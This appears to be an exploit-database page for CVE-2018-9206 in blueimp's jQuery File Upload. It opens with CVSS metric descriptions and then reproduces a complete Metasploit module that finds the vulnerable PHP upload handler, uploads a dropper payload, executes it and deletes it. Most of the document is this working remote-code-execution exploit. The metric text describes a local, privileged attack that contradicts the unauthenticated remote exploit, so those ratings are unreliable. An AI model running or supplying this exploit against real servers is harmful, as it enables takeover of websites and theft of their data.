The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: blueimps jQuery 9.22.0 (Arbitrary) File Upload (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => "blueimp's jQuery (Arbitrary) File Upload",
'Description' => %q{
This module exploits an arbitrary file upload in the sample PHP upload
handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.
Due to a default configuration in Apache 2.3.9+, the widget's .htaccess
file may be disabled, enabling exploitation of this vulnerability.
This vulnerability has been exploited in the wild since at least 2015
and was publicly disclosed to the vendor in 2018. It has been present
since the .htaccess change in Apache 2.3.9.
This module provides a generic exploit against the jQuery widget.
},
'Author' => [
'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload
'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-9206'],
['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],
['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],
['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],
['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],
['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']
],
'DisclosureDate' => 'Oct 9 2018', # Larry's disclosure to the vendor
'License' => MSF_LICENSE,
'Platform' => ['php', 'linux'],
'Arch' => [ARCH_PHP, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['PHP Dropper', 'Platform' => 'php', 'Arch' => ARCH_PHP],
['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])
])
end
def version_paths
%w[
/package.json
/bower.json
].map { |u| normalize_uri(target_uri.path, u) }
end
# List from PoC sorted by frequency
def upload_paths
%w[
/server/php/index.php
/server/php/upload.class.php
/server/php/UploadHandler.php
/example/upload.php
/php/index.php
].map { |u| normalize_uri(target_uri.path, u) }
end
def check
a = nil
version_paths.each do |u|
vprint_status("Checking #{u}")
res = send_request_cgi(
'method' => 'GET',
'uri' => u
)
next unless res
unless a
res.headers['Server'] =~ /Apache\/([\d.]+)/ &&
$1 && (a = Gem::Version.new($1))
if a && a >= Gem::Version.new('2.3.9')
vprint_good("Found Apache #{a} (AllowOverride None may be set)")
elsif a
vprint_warning("Found Apache #{a} (AllowOverride All may be set)")
end
end
next unless res.code == 200 && (j = res.get_json_document) &&
j['version'] && (v = Gem::Version.new(j['version']))
if v <= Gem::Version.new('9.22.0')
vprint_good("Found unpatched jQuery File Upload #{v}")
return CheckCode::Appears
else
vprint_error("Found patched jQuery File Upload #{v}")
return CheckCode::Safe
end
end
CheckCode::Unknown
end
def find_upload
upload_paths.each do |u|
vprint_status("Checking #{u}")
res = send_request_cgi(
'method' => 'GET',
'uri' => u
)
if res && res.code == 200
vprint_good("Found #{u}")
return u
end
end
nil
end
def exploit
unless check == CheckCode::Appears && (u = find_upload)
fail_with(Failure::NotFound, 'Could not find target')
end
f = "#{rand_text_alphanumeric(8..42)}.php"
p = normalize_uri(File.dirname(u), 'files', f)
print_status('Uploading payload')
res = upload_payload(u, f)
unless res && res.code == 200 && res.body.include?(f)
fail_with(Failure::NotVulnerable, 'Could not upload payload')
end
print_good("Payload uploaded: #{full_uri(p)}")
print_status('Executing payload')
exec_payload(p)
print_status('Deleting payload')
delete_payload(u, f)
end
def upload_payload(u, f)
p = get_write_exec_payload(unlink_self: true)
m = Rex::MIME::Message.new
m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))
send_request_cgi(
'method' => 'POST',
'uri' => u,
'ctype' => "multipart/form-data; boundary=#{m.bound}",
'data' => m.to_s
)
end
def exec_payload(p)
send_request_cgi({
'method' => 'GET',
'uri' => p
}, 1)
end
def delete_payload(u, f)
send_request_cgi(
'method' => 'DELETE',
'uri' => u,
'vars_get' => {'file' => f}
)
end
end
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